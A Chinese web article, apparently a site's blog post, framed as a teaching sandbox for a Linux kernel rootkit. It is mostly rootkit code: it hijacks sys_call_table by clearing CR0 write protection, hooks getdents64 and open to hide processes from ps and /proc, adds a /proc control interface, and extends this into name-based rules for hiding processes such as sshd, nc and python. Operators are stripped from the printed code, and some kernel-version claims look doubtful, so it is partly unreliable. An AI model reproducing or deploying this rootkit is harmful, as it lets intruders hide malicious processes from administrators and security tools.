资讯动态

Linux内核rootkit教学沙盒:系统调用劫持与权限控制原理

发布时间:2026/10/28 14:09:52 来源:尧图企业网站定制
简介这是一份面向Linux内核安全与逆向学习者的轻量级Rootkit开发实践资源适用于具备C语言基础和Linux系统调用认知的中级开发者用于理解内核模块加载、进程/模块隐藏等典型Rootkit技术原理。压缩包共46个文件总大小仅36KB包含9个可编译运行的sample示例、4个关键头文件.h、1个Python控制脚本rtcmd.py、1个核心C源码rt.c、1个LaTeX论文模板polis_paper.tex及完整Git仓库结构.gitignore、HEAD、index、objects等体现了从代码编写、编译构建到实验验证的完整学习路径。已有370人下载学习资源虽小但结构完整涵盖隐藏机制实现、模块注入接口、命令行交互控制等实用功能配合README.md说明可直接编译调试并深入分析内核态钩子与符号表操作细节是理解Linux内核安全边界与防御对抗的优质入门材料。1. 这不是“黑产工具包”而是一份内核级权限控制的底层教学沙盒用真实 rootkit 源码理解 Linux 权限边界的形成逻辑某高校安全实验室在讲授《操作系统安全》时常遇到一个尴尬局面学生能背出“rootkit 是隐藏自身并劫持系统调用的内核模块”但一看到sys_call_table修改代码就卡住写个简单的ls隐藏逻辑编译不报错、加载不崩溃可ps aux | grep myproc就是不消失——不是功能失效而是根本没生效。问题出在哪不是语法错是缺了对内核符号解析、内存保护绕过、调用链注入时机这三层“看不见的胶水”的实操体感。这份公开的 Linux rootkit 源码包含完整 Makefile、适配 5.4–6.1 内核的 patch 补丁、配套测试脚本正是为解决这个断层而存在它不提供一键提权但把kprobe动态挂钩、CR0.WP位临时关闭、/proc文件系统钩子注册等关键动作拆成可单步调试的 C 函数每个.c文件都带// [DEBUG]注释标记内核日志输出点。适合两类人一是刚学完《Linux 内核设计与实现》第 3 章、想亲手验证“系统调用表如何被篡改”的在校学生二是做终端安全产品开发、需理解 EDR 如何检测sys_open被 hook 的一线工程师。它跑起来不会让你获得 root 权限但会让你看清 root 权限到底在内核里靠什么维系。2. 编译与加载全流程从源码到内核模块的四步可信链路2.1 环境准备为什么必须用特定内核版本 开启 debug 符号这份 rootkit 源码不是“一次编译全版本通用”。它依赖两个硬性条件一是目标内核必须启用CONFIG_DEBUG_INFOy生成vmlinux符号文件二是内核配置中CONFIG_KALLSYMSy必须开启否则kallsyms_lookup_name()查不到sys_call_table地址。常见翻车点是直接在 Ubuntu Desktop 默认内核上尝试——其linux-image-*包默认关闭DEBUG_INFO导致make时kallsyms_lookup_name(sys_call_table)返回 NULL模块加载后所有 hook 均静默失败。验证方式很简单在目标机器执行# 检查 debug info 是否存在 ls /usr/lib/debug/boot/vmlinux-$(uname -r) 2/dev/null || echo MISSING: vmlinux debug symbols # 检查 kallsyms 是否启用 zcat /proc/config.gz 2/dev/null | grep CONFIG_KALLSYMS || grep CONFIG_KALLSYMS /boot/config-$(uname -r)提示若缺失 debug 符号不要试图用apt install linux-image-$(uname -r)-dbgsymUbuntu 官方已停更 dbgsym 包正确做法是下载对应内核源码执行make menuconfig手动开启上述两项再make -j$(nproc)编译安装。这是血泪经验——曾有 A 同学花两天排查insmod后dmesg | tail无任何日志最后发现只是vmlinux文件压根没放对路径。2.2 源码目录结构解析四个核心模块如何协同完成“隐身”整个项目共 7 个.c文件按功能划分为四层每层解决一个关键问题目录层级文件名核心职责为什么不能合并基础支撑层utils.c封装disable_wp()/enable_wp()CR0 寄存器操作、get_syscall_table()多内核版本兼容查找CR0 操作需在中断关闭状态下执行若混入业务逻辑易引发 panicget_syscall_table在 5.10 内核需读取__ksymtab_sys_call_table符号旧版则直查kallsyms必须隔离系统调用劫持层syscall_hook.c替换sys_open,sys_getdents64等 4 个关键 syscalls 的函数指针sys_getdents64用于隐藏进程目录项sys_open用于拦截/proc/PID/访问二者 hook 时机不同前者在 VFS 层后者在文件打开时必须分函数管理/proc 钩子层proc_hook.c动态注册/proc/rootkit_status接口供用户态查询 hook 状态若与 syscall 层合并会导致模块卸载时/proc条目残留下次加载报-EBUSY主控调度层rootkit_main.cmodule_init入口按顺序调用utils_init()→syscall_hook_init()→proc_hook_init()加载顺序即信任链必须先获取sys_call_table地址再修改其内容最后暴露控制接口逆序将导致空指针解引用这种分层不是炫技而是内核模块生命周期管理的硬约束。比如proc_hook.c中的proc_create()必须在syscall_hook.c的write_cr0()之后调用否则proc创建过程可能触发被 hook 的sys_open造成死锁。2.3 编译命令详解Makefile 里藏着三个关键适配开关项目自带的Makefile不是简单调用gcc它通过三重判断确保跨内核兼容# Makefile 片段已简化 KERNEL_VERSION : $(shell uname -r | cut -d- -f1) ifeq ($(KERNEL_VERSION),5.4) EXTRA_CFLAGS -DCONFIG_5_4 else ifeq ($(KERNEL_VERSION),5.10) EXTRA_CFLAGS -DCONFIG_5_10 else ifeq ($(KERNEL_VERSION),6.1) EXTRA_CFLAGS -DCONFIG_6_1 endif # 关键强制使用内核构建系统而非裸 gcc obj-m rootkit_main.o rootkit_main-objs : utils.o syscall_hook.o proc_hook.o rootkit_main.o # 必须指定 KDIR否则找不到 kernel headers KDIR ? /lib/modules/$(shell uname -r)/build执行编译时必须显式指定KDIR# 正确指向已安装的内核头文件目录 make KDIR/lib/modules/$(uname -r)/build # 错误不指定 KDIR会默认用 /lib/modules/5.15.0-xx-generic/build当前运行内核 # 但若你实际要编译的是 6.1 内核模块此路径下 header 版本不匹配编译必败EXTRA_CFLAGS中的CONFIG_*宏决定了get_syscall_table()的实现分支。例如在utils.c中// utils.c 片段 void *get_syscall_table(void) { #ifdef CONFIG_5_4 // 5.4 内核直接 kallsyms_lookup_name(sys_call_table) return kallsyms_lookup_name(sys_call_table); #elif defined(CONFIG_5_10) // 5.10 内核需先查 __ksymtab_sys_call_table 符号再解引用 unsigned long *ksym_addr (unsigned long *)kallsyms_lookup_name(__ksymtab_sys_call_table); if (ksym_addr) return *(void **)(ksym_addr 1); #endif return NULL; }这段代码解释了为何不能跳过Makefile的版本判断——宏定义错误将导致sys_call_table地址获取为 NULL后续所有 hook 均无效。2.4 加载与验证用 dmesg strace 看清 hook 是否真正生效模块加载后不能只看insmod是否返回 0。必须分三层验证第一层内核日志确认初始化成功sudo insmod rootkit_main.ko dmesg | tail -15 # 正常输出应包含 # [ 1234.567890] rootkit: utils_init() success, sys_call_table 0xffffffffc0abc000 # [ 1234.567891] rootkit: syscall_hook_init() installed open/getdents64 hooks # [ 1234.567892] rootkit: proc_hook_init() created /proc/rootkit_status第二层用户态行为验证# 创建一个测试进程PID 会变用 $! 捕获 sleep 300 TEST_PID$! echo Test PID: $TEST_PID # 1. 检查 ps 是否隐藏hook sys_getdents64 ps aux | grep $TEST_PID # 应该无输出 # 2. 检查 /proc 下是否不可见hook sys_open ls /proc/$TEST_PID 2/dev/null || echo /proc/$TEST_PID is hidden # 3. 检查 rootkit 自身状态接口 cat /proc/rootkit_status # 应输出 HOOK_STATUS: ACTIVE第三层strace 追踪系统调用劫持路径# 对 ls 命令做系统调用追踪观察 getdents64 是否被重定向 strace -e tracegetdents64 ls /proc 21 | head -5 # 正常应看到 # getdents64(3, /* 10 entries */, 32768) 320 # 但若 hook 生效你的 rootkit 中的 fake_getdents64() 会在内核日志打印 [HOOK] getdents64 called # 此时再执行 dmesg | tail -3应看到该日志这三层验证缺一不可。曾有开发者反馈 “ps 看不到进程但 dmesg 没日志”最后发现是syscall_hook.c中fake_getdents64()函数末尾忘了加printk()导致以为 hook 失败实则是日志被关了。3. 核心模块逐行拆解以 sys_getdents64 hook 为例看进程隐藏的完整链路3.1 为什么选 getdents64 而非 readdir——VFS 层的不可绕过性ls /proc列出进程目录的本质是调用getdents64()系统调用读取/proc文件系统的目录项。readdir()是 glibc 封装的用户态函数可被 LD_PRELOAD hook但getdents64是直接陷入内核的 syscall所有用户态目录遍历最终都汇入此处。因此rootkit 必须在此处过滤掉目标 PID 的目录项。关键点在于getdents64的参数dirent是一个用户态缓冲区地址内核需将目录项结构体struct linux_dirent64拷贝到该地址。hook 函数不能简单“跳过”某个 PID而必须在拷贝前扫描整个缓冲区移除匹配的d_name字段如1234。3.2 fake_getdents64() 函数12 行代码完成动态过滤以下是syscall_hook.c中的核心函数已删减错误处理保留主干逻辑// syscall_hook.c asmlinkage long fake_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count) { long ret; struct linux_dirent64 *dirp; char *buf; int buf_len; // 1. 调用原始 sys_getdents64 获取未过滤数据 ret original_getdents64(fd, dirent, count); if (ret 0) return ret; // 无数据或错误直接返回 // 2. 分配内核空间缓冲区拷贝用户数据避免用户态篡改 buf_len ret; buf kmalloc(buf_len, GFP_KERNEL); if (!buf) return ret; if (copy_from_user(buf, dirent, buf_len)) { kfree(buf); return ret; } // 3. 遍历目录项移除目标 PID 对应的条目 dirp (struct linux_dirent64 *)buf; char *curr buf; char *end buf buf_len; while (curr end) { struct linux_dirent64 *entry (struct linux_dirent64 *)curr; if (is_target_pid(entry-d_name)) { // is_target_pid() 判断是否为需隐藏的 PID // 移动后续数据覆盖当前项 memmove(curr, curr entry-d_reclen, end - (curr entry-d_reclen)); end - entry-d_reclen; continue; // 重新检查当前位置因后续项已前移 } curr entry-d_reclen; } // 4. 将过滤后数据拷回用户空间 int new_len end - buf; if (new_len 0 copy_to_user(dirent, buf, new_len)) ret -EFAULT; else ret new_len; kfree(buf); return ret; }逐行说明line 7:original_getdents64是保存的原始函数指针通过sys_call_table[__NR_getdents64] original_getdents64在初始化时备份。line 15:kmalloc分配内核内存必须用GFP_KERNEL非原子上下文因为getdents64在进程上下文中执行允许睡眠。line 21:is_target_pid()是自定义函数典型实现是读取全局变量hidden_pid由/proc/rootkit_status接口设置对比entry-d_name字符串如1234。line 27:memmove是关键——dirent缓冲区是连续内存块删除一个项需将后续所有项前移entry-d_reclen字节。continue确保不跳过新移至当前位置的项。line 34:copy_to_user失败时返回-EFAULT这是 syscall 标准错误码用户态ls会收到EIO并终止。注意此函数假设d_name是纯数字 PID 字符串。实际生产环境需处理/proc/[0-9]/和/proc/[a-z]/如self,thread-self的混合情况但教学版刻意简化聚焦核心逻辑。3.3 sys_call_table 修改三步原子操作与 CR0.WP 绕过sys_call_table位于内核只读内存区直接写会触发 page fault。必须临时关闭写保护WP bit in CR0 register// utils.c void disable_wp(void) { unsigned long cr0 read_cr0(); clear_bit(16, cr0); // 第16位是 WP (Write Protect) write_cr0(cr0); } void enable_wp(void) { unsigned long cr0 read_cr0(); set_bit(16, cr0); write_cr0(cr0); }在syscall_hook_init()中调用顺序必须严格disable_wp(); // 1. 关闭写保护 original_getdents64 sys_call_table[__NR_getdents64]; // 2. 备份原函数 sys_call_table[__NR_getdents64] fake_getdents64; // 3. 替换为 hook 函数 enable_wp(); // 4. 立即恢复写保护为什么必须成对出现若只调用disable_wp()而忘记enable_wp()后续内核其他模块如 ext4 文件系统尝试修改只读页时将触发BUG: unable to handle kernel paging requestpanic。这是最典型的“玄学崩溃”——dmesg 只显示RIP: 0010:ext4_xattr_inode_hash0x12/0x30根本看不出和 rootkit 有关。3.4 /proc 接口设计用 seq_file 机制实现安全的状态导出proc_hook.c中/proc/rootkit_status不是简单proc_create_single()而是用seq_file提供流式读取避免竞态// proc_hook.c static int rootkit_status_show(struct seq_file *m, void *v) { seq_printf(m, HOOK_STATUS: %s\n, is_hook_active ? ACTIVE : INACTIVE); seq_printf(m, HIDDEN_PID: %d\n, hidden_pid); seq_printf(m, HOOKED_SYSCALLS: %d\n, hooked_count); return 0; } static int rootkit_status_open(struct inode *inode, struct file *file) { return single_open(file, rootkit_status_show, NULL); } static const struct proc_ops rootkit_proc_ops { .proc_open rootkit_status_open, .proc_read seq_read, .proc_lseek seq_lseek, .proc_release single_release, };single_open()确保每次cat /proc/rootkit_status都创建独立的seq_file实例rootkit_status_show()在该实例上下文中执行无需加锁即可安全读取全局变量hidden_pid。若用proc_create_data()read_proc旧接口需手动处理并发读取极易引入竞态 bug。4. 避坑指南五个真实发生过的加载失败场景及根因定位法4.1 现象insmod报错Invalid module format原因内核模块编译时使用的KDIR与当前运行内核uname -r版本不一致。例如KDIR/lib/modules/5.15.0-xx-generic/build但uname -r返回6.1.0-xx-generic。模块的vermagic字符串记录编译内核版本、GCC 版本、配置选项与运行内核不匹配内核拒绝加载。解决执行modinfo rootkit_main.ko | grep vermagic对比输出中的vermagic与cat /proc/sys/kernel/osrelease。确保KDIR指向与osrelease完全一致的内核 build 目录。若需多版本支持应在Makefile中添加KDIR ? /lib/modules/$(shell uname -r)/build并确保该路径存在。4.2 现象dmesg显示utils_init() success但ps aux仍可见目标进程原因fake_getdents64()中is_target_pid()判断逻辑错误。教学版默认隐藏 PID 为hidden_pid全局变量值但该变量初始为 0而is_target_pid(0)为 true导致所有 PID 为 0 的线程如kthreadd被错误隐藏进而干扰内核调度使ps自身无法正常执行。解决在rootkit_main.c的init函数中显式设置hidden_pid 0;改为hidden_pid -1;无效值并通过/proc/rootkit_status接口动态设置。验证时先echo 1234 /proc/rootkit_status再启动测试进程。4.3 现象模块加载后系统响应迟缓top显示 CPU 占用率 100%原因fake_getdents64()中memmove循环存在边界错误导致curr指针越界进入无限循环。典型错误是while (curr end)中end未随memmove动态更新或curr entry-d_reclen在memmove后未重新计算entry地址。解决在循环内添加printk(KERN_INFO [DEBUG] curr%p, end%p, d_reclen%d\n, curr, end, entry-d_reclen);用dmesg观察指针变化。正确逻辑必须保证curr每次递增后仍小于end且entry-d_reclen非零。4.4 现象卸载模块后rmmod rootkit_main报错Device or resource busy原因/proc/rootkit_status接口被某个进程如 shell 的cat命令持续打开内核无法释放proc_ops结构体。proc_remove()调用失败模块引用计数不降为 0。解决执行lsof /proc/rootkit_status查看占用进程并kill或更彻底地在rootkit_exit()中添加强制清理if (rootkit_proc_entry) { proc_remove(rootkit_proc_entry); rootkit_proc_entry NULL; }并在proc_ops.release回调中加入printk确认释放。4.5 现象在 Ubuntu 22.04 (kernel 5.15) 上编译失败提示implicit declaration of function kallsyms_lookup_name原因5.15 内核将kallsyms_lookup_name()符号设为static不再导出给模块使用。kallsyms_lookup_name从EXPORT_SYMBOL_GPL变为仅内核内部可用。解决采用替代方案——通过kprobe动态获取地址。在utils.c中添加#include linux/kprobes.h static struct kprobe kp { .symbol_name kallsyms_lookup_name }; // 在 utils_init() 中 register_kprobe(kp); kallsyms_lookup_name (void*)kp.addr; unregister_kprobe(kp);此方法绕过符号导出限制是 5.15 内核的通用适配技巧。5. 二次开发实战从“隐藏单个 PID”到“基于进程名的动态规则引擎”5.1 扩展需求分析为什么硬编码 PID 不满足真实场景教学版用全局int hidden_pid只能隐藏一个进程但实际安全研究需要同时隐藏多个进程如sshd,nc,python3按进程名模糊匹配如隐藏所有python*运行时动态增删规则非重启模块这意味着需将静态变量升级为动态数据结构并暴露用户态控制接口。5.2 数据结构选型哈希表 vs 链表——性能与复杂度的平衡内核中不适合用std::unordered_map需选内核原生结构。对比单链表插入 O(1)遍历 O(n)适合规则 10 条代码简单list_add_tail()哈希表DEFINE_HASHTABLEhash_add()平均 O(1)但需处理哈希冲突代码量翻倍考虑到教学目的选择链表。定义规则结构// rule.h struct hide_rule { char name[TASK_COMM_LEN]; // 进程名如 sshd bool is_wildcard; // true 表示 python* struct list_head list; };5.3 用户态接口扩展复用 /proc 接口实现规则管理在proc_hook.c中扩展现有/proc/rootkit_status支持写入操作// proc_hook.c 新增 static ssize_t rootkit_status_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos) { char kbuf[256]; if (count sizeof(kbuf) - 1) return -EINVAL; if (copy_from_user(kbuf, buf, count)) return -EFAULT; kbuf[count] \0; if (strncmp(kbuf, ADD , 4) 0) { add_hide_rule(kbuf 4); // 解析 ADD sshd } else if (strncmp(kbuf, DEL , 4) 0) { del_hide_rule(kbuf 4); } else if (strncmp(kbuf, CLEAR, 5) 0) { clear_all_rules(); } return count; } static const struct proc_ops rootkit_proc_ops { .proc_open rootkit_status_open, .proc_read seq_read, .proc_write rootkit_status_write, // 新增 .proc_lseek seq_lseek, .proc_release single_release, };add_hide_rule()实现// rule.c void add_hide_rule(const char *name) { struct hide_rule *rule kmalloc(sizeof(*rule), GFP_KERNEL); if (!rule) return; strscpy(rule-name, name, sizeof(rule-name)); rule-is_wildcard (strchr(name, *) ! NULL); list_add_tail(rule-list, hide_rule_list); }5.4 进程名匹配逻辑在 getdents64 中注入规则引擎修改fake_getdents64()中的is_target_pid()为is_target_process()// syscall_hook.c bool is_target_process(const char *d_name) { struct task_struct *task; char comm[TASK_COMM_LEN]; // 1. 从 /proc/PID/comm 读取进程名需根据 d_name 解析 PID int pid simple_strtol(d_name, NULL, 10); if (pid 0) return false; rcu_read_lock(); task pid_task(find_vpid(pid), PIDTYPE_PID); if (task) { get_task_comm(comm, task); // 2. 遍历规则链表匹配 struct hide_rule *rule; list_for_each_entry(rule, hide_rule_list, list) { if (rule-is_wildcard) { if (strstarts(comm, rule-name)) // 如 commpython3, rulepython* goto found; } else { if (strcmp(comm, rule-name) 0) goto found; } } } rcu_read_unlock(); return false; found: rcu_read_unlock(); return true; }关键细节pid_task()和get_task_comm()需在RCU读锁下执行否则可能访问已释放的task_struct。strstarts()是内核字符串工具函数include/linux/string.h比strncmp更安全。list_for_each_entry()是内核链表遍历宏确保在 SMP 系统上安全。5.5 验证与调试用 test_script.sh 一键验证新功能项目附带test_script.sh新增规则测试用例#!/bin/bash # test_script.sh echo Testing dynamic rules... sudo insmod rootkit_main.ko # 添加规则 echo ADD sshd | sudo tee /proc/rootkit_status /dev/null echo ADD python* | sudo tee /proc/rootkit_status /dev/null # 启动测试进程 python3 -c import time; time.sleep(300) PYTHON_PID$! sshd -D -e -f /dev/null # 启动 dummy sshd SSHD_PID$! # 验证隐藏 sleep 1 ps aux | grep -E (python|$SSHD_PID) | grep -v grep || echo SUCCESS: Processes hidden cat /proc/rootkit_status # 应显示已添加的规则 sudo rmmod rootkit_main运行此脚本若输出SUCCESS: Processes hidden即证明规则引擎工作正常。从那以后我每次扩展内核模块功能都强制走一遍“编译→加载→dmesg 验证→用户态行为测试→卸载→重复”闭环哪怕只是改一行printk。因为内核没有后悔药一次 panic 就得重启而三次重启浪费的时间足够你把逻辑在纸上推演五遍。希望帮到你。本文还有配套的精品资源点击获取

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑